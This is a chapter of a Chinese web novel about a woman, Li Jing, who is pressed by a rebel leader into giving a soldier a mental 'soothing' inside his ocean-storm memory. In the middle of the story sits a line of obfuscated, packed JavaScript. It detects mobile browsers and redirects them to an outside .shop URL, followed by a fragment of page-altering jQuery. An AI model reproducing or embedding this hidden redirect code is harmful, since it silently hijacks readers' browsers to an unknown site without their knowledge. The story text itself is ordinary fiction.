“行。”
李静用手肘撑着自己的身体,慢慢地站了起来。
“行...”
尽管心里还有很多疑问,但李静已经不打算再继续问他了。
“你刚刚教我的,似乎是雄虫对雄虫的疏导...”她用手撑着膝盖,抬起头来直视安如的眼睛,“这不是我的错觉吧。”
“哼...当然还有下一步教学了。”安如走过去捡起面具,再次蒙住自己的脸。
“这可能是个惊喜哦。”
指挥室的大门自动开启,李静猛然回头,看到走进来的那个“人”后,她惊的睁大了眼睛。
她站起身,挺直后背,那根不听话的奇怪尾巴甩了甩,撞到了她的手臂。
李静这才反应过来,迅速转身面向对方,她将手背在身后,用力地按住尾巴。
“利博安,你按时来了。”安如勾着嘴角,语气一派轻松,“我该帮你加固精神力屏障了。”
“首领。”利博安微微颔首,没有看李静一眼。
李静不自觉抿唇,她突然有种不好的预感。
“今天不用我加固屏障了!”安如突然用力地拍了一下手,“因为有新的雄虫医生来了。”
“这位是路得医生”他摊开手心,向利博安介绍道:“以后就让她来给你做精神力疏导。”
“不!”利博安有些惊讶地开口拒绝,“不,首领,我说过我不需要精神疏导。”
安如用指尖点点下巴:“精神力屏障治标不治本哦。”
李静面无表情:“首领,我还没有接受过培训。”
安如完全没有理会两位的不满,自顾自地说道:“她之后还要帮其他雌虫疏导。”
“她的疏导可比我的有用哦,她还没有结契呢。”
利博安微不可见的皱了皱眉,他将双手背在身后。两只手紧紧地扣在一起,这是一种无声的示弱。
李静注意到了“结契”这个关键词,但此刻显然不是问问题的好时机,她用力皱了皱鼻子,将突然涌上来的情绪按下:“我从来没有疏导过,可能会有危险。首领,我”
“这是个好机会呀。”安如打断她的话,“路得医生,我们都会感恩你的付出。”
“还有利博安,当然还有你,我们的第一个志愿者!”
他浮夸地张开双臂,像个话剧演员一样用肢体语言给自己加戏。
“来吧,现在就开始。”
利博安的指尖深深扣进了肉里,他强行压制住了自己紧绷的神经,生怕自己一个冲动就伤到“医生”。他微微抬眸,隐蔽地观察着那个雄虫,那就是他从战场上救回来的雄虫...他居然是个医生?
他当然可以转身就走,毫不留情地拒绝这场近乎是强迫的“精神力救助”。但是,他必须要为自己的战友考虑。还有很多雌虫需要精神力疏导,他们比他年轻,也比他更容易死去。利博安沉默不语,毫不反抗地接受了眼前的一切。
李静的指尖开始发抖,她不安地看了一眼安如,又转头看向利博安。
“...好啦!”安如耸了耸肩,“你们干嘛那么紧张?搞得我像个反派一样。”
李静扯了扯嘴角,并没有成功笑出来。
“你们两个的契合度很高的,你直接把精神力靠过去就行!天呐,我又不是在害你们!”安如不满地催促道:“快点开始啊!”
李静严肃地问:“你确定他不会受伤?”
“我发誓他不会受伤!”
利博安又瞥了一眼“路得医生”,得到了安如肯定的回答之后,那个雄虫的脸色明显缓和了不少。
这是什么骗局?
他有些不安地想:“雄虫怎么可能会担心雌虫的安慰呢?”
“你不仅不会伤到他,你甚至还能救他!”安如不耐烦地点了点手边的光屏,一道白光迅速划过,在利博安的胳膊上划出一道深深血痕。
“你干嘛!”李静惊呼一声,快步走到利博安身边,她双手抓住利博安的胳膊,“你需要包扎...”
话音未落,那道割伤就开始愈合,利博安连眼睛都没眨一下。李静脸色发白,她深深呼出一口气,“我都忘了...”
“利博安以前的治愈速度可没那么慢。”安如说:“他积累了不少紊乱了,你动作快点吧。”
“这点小伤有什么可担心的”,他大大的伸了个懒腰:“他都懒得躲。”
“你为什么不躲?”李静仰头看向利博安。
利博安没有看她,他的嘴唇嗫喏了几下,没有回答。
“你说话呀!”她的语气有些嗔怪。
“你~说-话~呀~”安如摇头晃脑,怪声怪气地模仿着李静的话。
“我...”利博安开口,声音有些沙哑:“我不怕疼。”
“就算能很快恢复你也不能随意受伤啊...”李静紧紧皱着眉:“你以后不能这样了,听到没?”
“是。”利博安点头。
“哦!”李静后知后觉地捂住嘴,“我不是在命令你。我...”
“早点疏导对我们都好哟!”安如支着下巴,乐不可支地看戏。
利博安低下头,只看见李静毛绒绒的发顶。不知为何,他突然有点想知道她此刻是什么表情。
她会怎么伪装?她的表情,她的语气,究竟哪一个装的更像?
李静叹了口气。
“...我开始了。”
“是。”利博安沉声应答。
她用之前触碰“玻璃”的方式,将精神力传导到指尖,然后,她将冰凉的手指落在了利博安温热的胳膊上。
他的体温很高,很熟悉。手臂上的肌肉绷紧了,明明全身上下都在用力,他却一动不动。
李静想:“这也许是紧张导致的,他也许是害怕我?他怎么会害怕我呢?也许他是害怕安如,那家伙不好相处,个性很糟糕。还是他的上司。”
“别怕。”她对利博安说。
“我不怕。”
利博安觉得这一切有点好笑,他一挥手就能杀死的脆弱雄虫居然觉得他在害怕?雄虫就这么自大吗?
那点精神力落在皮肤上,就和李静的指尖一样,都有种凉凉的感觉,利博安不自觉的放松下来,然后精神力向上游走,从他的脖颈攀援到他的脸侧,有点麻麻的感觉,让人心里发痒,它移动的速度说不上快,但也不慢。最后,它钻进利博安的耳朵里。
利博安没有反抗,他前所未有的放松了下来,他的身体完全违背了主观意志的控制。
“你...”
你是怎么做到的?
***
又是和刚刚一样的情况,周围的环境发生了变化。
李静环顾四周,发现自己正身处在一片阴沉沉的云雾中,黑压压的雨云盖住了整片天空,厚重的云雾和翻卷着的海浪融在一起,就像是一锅沸腾过度的水,飘上来的水蒸气比云还要厚,片刻之后就化成雨落下,细细密密的雨珠一刻不停的在她眼前奔跑,她根本看不见远处的风景,巨大的风声几乎能够撕毁一个人的理智。
自然的存在变得无比庞大,一个人的存在变得不值一提,李静就像一只意外飞进了太平洋的热带蝴蝶。但这宏伟到让人浑身颤抖的天灾却完全没对她造成任何影响。
她安然的浮在其中,和周围的一切格格不入。
暴雨和飓风一刻不停地争吵着,喧闹着。李静一低头,就看见自己脚下正在飞卷着的深绿色海洋,它无比幽深,异常沉重,完全颠覆了她对海洋的固有印象,这并不是用来欣赏的风景,这是让人心生崇敬的,属于一个星球的力量的外化。
“我要怎么做!”李静将双手围在嘴前,大声地喊着:“利博安!你在哪!”
她的声音完全被风雨声淹没,大量的龙卷风一刻不停的搅拌着海面,它们将水抽上去,而水又被引力重新召回,如此纯粹的循环,根本不给活物一丝容身的空间,似乎什么都不属于这里。这是一片自私的海,它什么都不包容。
她试着晃了晃胳膊,想要在这片倒悬着的云海里游动起来,但出乎意料的是,她刚一动弹,整个人就轰然下落,雨滴反着打在脸上,冰冰凉到有些刺骨,但又并不让人疼痛,像是几句习惯性的责骂,总是被人轻易地说出口,丝毫不会去考虑一个人类的自尊和感受。
这样的场景会让人不自觉的忘却自我,因为身体的感受将会超越一切,对这广袤的恐惧会压倒一切,高高挂起的平静顷刻间就被打破,李静立刻就想要逃跑,却被奇怪的重力拖着下坠,几乎成为了这因为天空和海搅混在一起而产生的雨的一部分,她成了很小很小的一部分。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17789777|210343||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
李静逼近双眼,直直的落了下去,却无比平稳地落在了海面之上。
脚下踩着的似乎不再是水,而是一个无比平稳的地面。
她试着走了几步,那些雨滴落在身上,却并没有沾湿额发和眼睫,刚刚的融入感原来只是一种幻觉。
她甚至都有点享受了。
这世上有几人能有此殊荣,去独享这样的奇景呢?
李静回想着安如在她精神海里做的那些事。
他碰了花草,碰了电视机,碰了沙发和茶几,却不能碰到房间的门。
也许我要找的是碰不到的东西?
她用力踩了踩脚下的“地板”,然后她抬起手,试图接一捧雨水。它们从手心滑下。
“看来这不是我需要的...”
前路昏暗,李静却扬起笑容。
“利博安,等着我。”
她在水面上行走,时不时蹲下,用指尖拨弄海水。她穿过了数个龙卷风,在平静的台风眼中心深深吸气,潮湿的空气让人隐隐有些不安,但李静并不感到恐惧。
走着走着,她突然察觉到不对。
她五指张开,仔细感受着风的流向。面前这个龙卷风似乎有些特别。
其他的龙卷风都在顺时针旋转,把海水往天上抽,但这个龙卷风反了过来,它逆时针旋转,将海水往下送。
李静把脸埋进海水中,造型怪诞,像是水母一样的生物从脸侧滑过,远处似乎还有许多小鱼。
她抬起头,深深吸气,随后纵身一跳,跃入水中。
海底一片漆黑,水压很大,竟然比水面上的景象还要更让人恐惧。
她被逆时针旋转着的飓风向下推,游了好一会,她才意识到自己可以在水中呼吸。
周围的事物并不真实,它们只是回忆的幻觉,没有办法影响到真实存在着的李静。
李静唤出精神力,它散发出微光,很好地指引着方向。
很快,李静触了底,前方的沙石底上浮着灰白色的雾气,有一只巨大的虫子,正在其上翻滚,挣扎,它哀哀的低声嚎叫,虽然声音很低,但还是顺着水流传出去了几百米。
李静一眼就认出了那只大虫子,那是利博安的虫型,却比她记忆里还大了三倍。
她难受地揪紧了胸口的衣服,那个改造,根本就没有利博安说的那么轻松!他骗了她...他总是假装没事。
眼前的场景就和他们第一次见面时一样,李静也如第一次所做的那样。她靠过去,将手轻轻放在他的背甲上。
“别怕...别怕...我不会伤害你。”她低声安慰着,轻轻地吻了他一下。
精神力自动运转,庞大的海洋从中间分开,李静和利博安落在干燥的地上,阳光重新笼罩在它们身上。
来自过去的幻觉缓缓消散,他们重新回到了那艘飞船上。
***
利博安有些惊慌地看向李静。
李静微笑着和他对视。
一瞬间,心如擂鼓。
那是利博安过去的梦魇,为了逃脱帝国的追捕,他落在一个完全由海洋构成的卫星上,在海里飘了足足一个月才终于逃脱追捕。
沉默不语的雌虫被终日喧嚣的巨浪完全掩埋。强烈的眩晕感,漫长的等待,他怎么能一个人支撑这么久呢,有时候他也不明白。
李静出现在那段昏沉的记忆里,曾无数次祈祷过的场景真的出现,他却惊慌不已,还有那个吻,那些阳光,全都不对,全都不需要!
李静伸出手,想牵住利博安。
但他猛的向后一退,惊慌地转身离去。
李静的手在空中无意识地抓了抓,却并没有留住想要留住的那个人。
“不错嘛”安如轻轻鼓掌:“第一次疏导就成功了”
“嗯。”李静收回手,面无表情地回答。
“以后你就叫路得,在反抗军里当军医,你要去学习虫族的医学知识,还要负责精神力疏导,你之后还有进行体能训练……”
李静点头,一一应了。
“作为回报”安如补充道:“我发誓我会帮你改变利博安的命运,我发誓会带你回地球。”
“好。”李静偏头看向安如,微微勾起嘴角。
她想:“我一定要阻止他回地球。”